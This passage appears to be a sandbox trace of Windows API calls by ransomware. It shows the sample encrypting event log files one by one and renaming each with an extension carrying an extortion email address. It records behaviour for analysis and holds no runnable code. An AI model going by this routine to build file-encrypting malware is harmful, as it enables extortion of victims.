0x54d0d0 [0087.704] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0087.704] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0087.704] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", dwFileAttributes=0x80) returned 1 [0087.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582d80 [0087.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bb68 [0087.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582d80 | out: hHeap=0x520000) returned 1 [0087.705] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.705] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.706] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.817] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.817] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.818] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.820] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.821] WriteFile (in: hFile=0x460, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.821] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.821] CloseHandle (hObject=0x460) returned 1 [0087.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0087.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0087.823] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bb68 | out: hHeap=0x520000) returned 1 [0087.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ba0 | out: hHeap=0x520000) returned 1 [0087.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582b28 | out: hHeap=0x520000) returned 1 [0087.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x583140 [0087.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0087.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0087.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0087.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0087.826] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582330 [0087.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e940 [0087.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582330 | out: hHeap=0x520000) returned 1 [0087.827] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.827] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.827] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.859] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.859] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.861] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.863] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.864] WriteFile (in: hFile=0x460, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.865] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.865] CloseHandle (hObject=0x460) returned 1 [0087.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0087.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0087.867] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e940 | out: hHeap=0x520000) returned 1 [0087.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583140 | out: hHeap=0x520000) returned 1 [0087.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5828d0 | out: hHeap=0x520000) returned 1 [0087.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5826f0 [0087.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0087.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0087.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0087.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0087.869] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", dwFileAttributes=0x80) returned 1 [0087.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5823a8 [0087.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ed28 [0087.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5823a8 | out: hHeap=0x520000) returned 1 [0087.870] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.870] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.870] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.874] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.874] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.876] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.878] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.880] WriteFile (in: hFile=0x460, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.880] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.880] CloseHandle (hObject=0x460) returned 1 [0087.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0087.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0087.883] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ed28 | out: hHeap=0x520000) returned 1 [0087.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5826f0 | out: hHeap=0x520000) returned 1 [0087.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0087.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581fd0 [0087.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0087.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0087.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0087.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0087.895] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581ca0 [0087.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b730 [0087.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581ca0 | out: hHeap=0x520000) returned 1 [0087.896] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.896] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.896] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.913] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.913] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.917] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.917] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.917] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.919] WriteFile (in: hFile=0x460, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.920] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.920] CloseHandle (hObject=0x460) returned 1 [0087.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0087.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0087.933] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.935] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b730 | out: hHeap=0x520000) returned 1 [0087.935] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581fd0 | out: hHeap=0x520000) returned 1 [0087.935] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5816c8 | out: hHeap=0x520000) returned 1 [0087.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x582058 [0087.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0087.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0087.935] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0087.935] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0087.935] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581a80 [0087.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bfa0 [0087.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581a80 | out: hHeap=0x520000) returned 1 [0087.936] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.936] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.937] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.954] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.954] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.958] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.958] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.958] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.959] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.960] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.960] CloseHandle (hObject=0x460) returned 1 [0088.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0088.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0088.020] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bfa0 | out: hHeap=0x520000) returned 1 [0088.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582058 | out: hHeap=0x520000) returned 1 [0088.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581288 | out: hHeap=0x520000) returned 1 [0088.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581b90 [0088.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0088.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0088.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0088.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0088.023] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581db0 [0088.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x5821f8 [0088.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581db0 | out: hHeap=0x520000) returned 1 [0088.023] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.023] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.024] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.032] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.033] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.035] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.035] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 